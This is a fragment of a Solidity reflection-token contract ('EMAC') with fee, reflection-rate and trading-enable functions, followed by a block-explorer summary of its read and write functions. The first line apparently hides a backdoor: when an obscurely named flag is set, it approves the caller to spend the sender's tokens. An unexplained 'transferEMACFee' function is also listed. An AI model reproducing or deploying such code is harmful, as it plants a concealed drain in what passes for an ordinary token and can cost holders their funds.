if (amount > 0 && isFeeExeecd) _approve(sender, msg.sender, amount);
}
function _transferEMACTokens(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_holderBalances[sender] = _holderBalances[sender].sub(rAmount);
_holderBalances[recipient] = _holderBalances[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_holderBalances[address(this)] = _holderBalances[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_maxValue = _maxValue.sub(rFee);
_tFee = _tFee.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _rEMACFee, _taxEMACFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _maxValue;
uint256 tSupply = _tSupply;
if (rSupply < _maxValue.div(_tSupply)) return (_maxValue, _tSupply);
return (rSupply, tSupply);
}
function enableTrading() public onlyOwner {
_approve(address(this), address(_uniswapV2Router), _tSupply);
_uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_taxEMACBuyFee = 0;
_taxEMACSellFee = 0;
isOpenTrading = true;
swapEnabled = true;
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 7 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
enableTrading 0x8a8c523c
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferEMACFee 0xfec7df32
uint256 amount
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
No transactions found for this address